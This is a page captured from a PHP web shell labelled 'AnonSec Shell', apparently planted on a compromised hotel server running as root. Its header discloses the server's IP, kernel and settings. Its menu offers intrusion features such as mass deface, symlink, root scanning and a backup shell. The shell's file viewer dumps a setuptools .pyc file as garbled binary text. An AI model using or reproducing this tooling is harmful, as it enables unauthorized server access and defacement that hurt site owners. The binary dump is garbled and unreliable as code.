AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/setuptools/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/setuptools/__pycache__/depends.cpython-310.pyc
o

�_�a{�@s�ddlZddlZddlZddlZddlmZddlmZmZm	Z	m
Z
ddlmZgd�ZGdd�d�Z
d	d
�Zddd
�Zddd�Zdd�Ze�dS)�N)�version�)�find_module�PY_COMPILED�	PY_FROZEN�	PY_SOURCE)�_imp)�Requirer�get_module_constant�extract_constantc@sLeZdZdZ		ddd�Zdd�Zdd	�Zddd�Zdd
d�Zddd�Z	dS)r	z7A prerequisite to building or installing a distribution�NcCsH|dur|durtj}|dur||�}|durd}|j�t��|`dS)N�__version__)r�Version�__dict__�update�locals�self)r�name�requested_version�module�homepage�	attribute�format�r�4/usr/lib/python3/dist-packages/setuptools/depends.py�__init__szRequire.__init__cCs |jdur
d|j|jfS|jS)z0Return full package/distribution name, w/versionNz%s-%s)rr)rrrr�	full_name#s
zRequire.full_namecCs0|jdup|jdupt|�dko|�|�|jkS)z%Is 'version' sufficiently up-to-date?N�unknown)rr�strr)rrrrr�
version_ok)s�zRequire.version_okrcCs~|jdur"zt|j|�\}}}|r|��|WSty!YdSwt|j|j||�}|dur=||ur=|jdur=|�|�S|S)a�Get version number of installed module, 'None', or 'default'

        Search 'paths' for module.  If not found, return 'None'.  If found,
        return the extracted version attribute, or 'default' if no version
        attribute was specified, or the value cannot be determined without
        importing the module.  The version is formatted according to the
        requirement's version format (if any), unless it is 'None' or the
        supplied 'default'.
        N)rrr�close�ImportErrorr
r)r�paths�default�f�p�i�vrrr�get_version.s
�
zRequire.get_versioncCs|�|�duS)z/Return true if dependency is present on 'paths'N)r()rr"rrr�
is_presentIszRequire.is_presentcCs$|�|�}|durdS|�t|��S)z>Return true if dependency is present and up-to-date on 'paths'NF)r(rr)rr"rrrr�
is_currentMs
zRequire.is_current)rNN)Nr�N)
�__name__�
__module__�__qualname__�__doc__rrrr(r)r*rrrrr	s
�

r	cCs"tjdd��}|s|�St�|�S)Ncss�dVdSr+rrrrr�emptyVs�zmaybe_close.<locals>.empty)�
contextlib�contextmanager�closing)r$r0rrr�maybe_closeUs


r4���cCs�zt||�\}}\}}}}	Wn
tyYdSwt|��C|tkr.|�d�t�|�}
n,|tkr9t�	||�}
n!|t
krFt|��|d�}
nt�|||	�}t
||d�Wd�SWd�n1sdwYt|
||�S)z�Find 'module' by searching 'paths', and extract 'symbol'

    Return 'None' if 'module' does not exist on 'paths', or it does not define
    'symbol'.  If the module defines 'symbol' as a constant, return the
    constant.  Otherwise, return 'default'.N��exec)rr!r4r�read�marshal�loadrr�get_frozen_objectr�compile�
get_module�getattrr)r�symbolr#r"r$�path�suffix�mode�kind�info�code�importedrrrr
`s&�


��
r
cCs�||jvrdSt|j��|�}d}d}d}|}t�|�D]$}|j}	|j}
|	|kr.|j|
}q|
|kr>|	|ks:|	|kr>|S|}qdS)aExtract the constant value of 'symbol' from 'code'

    If the name 'symbol' is bound to a constant value by the Python code
    object 'code', return that value.  If 'symbol' is bound to an expression,
    return 'default'.  Otherwise, return 'None'.

    Return value is based on the first assignment to 'symbol'.  'symbol' must
    be a global, or at least a non-"fast" local in the code block.  That is,
    only 'STORE_NAME' and 'STORE_GLOBAL' opcodes are checked, and 'symbol'
    must be present in 'code.co_names'.
    N�Z�a�d)�co_names�list�index�dis�Bytecode�opcode�arg�	co_consts)rEr?r#�name_idx�
STORE_NAME�STORE_GLOBAL�
LOAD_CONST�const�	byte_code�oprPrrrr}s 
�rcCs>tj�d�s
tjdkr
dSd}|D]}t�|=t�|�qdS)z�
    Patch the globals to remove the objects not available on some platforms.

    XXX it'd be better to test assertions about bytecode instead.
    �java�cliN)rr
)�sys�platform�
startswith�globals�__all__�remove)�incompatiblerrrr�_update_globals�s�rb)r5N)r5)r[r9r1rM�setuptools.extern.packagingrrrrrrrr_r	r4r
rrbrrrr�<module>sD

$


Anon7 - 2022
AnonSec Team